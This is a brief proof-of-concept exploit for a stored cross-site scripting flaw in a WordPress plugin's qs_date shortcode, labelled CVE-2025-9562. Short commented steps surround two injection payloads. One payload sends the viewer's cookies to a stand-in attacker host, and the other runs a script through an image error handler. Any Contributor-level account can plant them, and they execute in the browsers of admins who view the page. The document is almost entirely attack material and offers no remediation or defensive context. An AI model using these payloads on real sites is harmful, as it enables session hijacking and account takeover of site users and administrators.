CVE-2025-9562

<!-- CVE-2025-9562 PoC for Stored XSS via qs_date shortcode --> <!-- The attacker needs Contributor-level access or above on the WordPress site --> <!-- Step 1: Create a new post or page as a Contributor --> <!-- Step 2: Insert the following malicious shortcode in the content --> [qs_date format="<script>alert('XSS-CVE-2025-9562');document.location='https://attacker.example.com/steal?c='+document.cookie</script>" date="2025-01-01"] <!-- Alternative PoC using event handlers --> [qs_date format="Y-m-d" date="><img src=x onerror=alert(document.domain)>"] <!-- Step 3: Publish or submit the post for review --> <!-- Step 4: When any user (including admin) views the published page, --> <!-- the injected JavaScript will execute in their browser context -->

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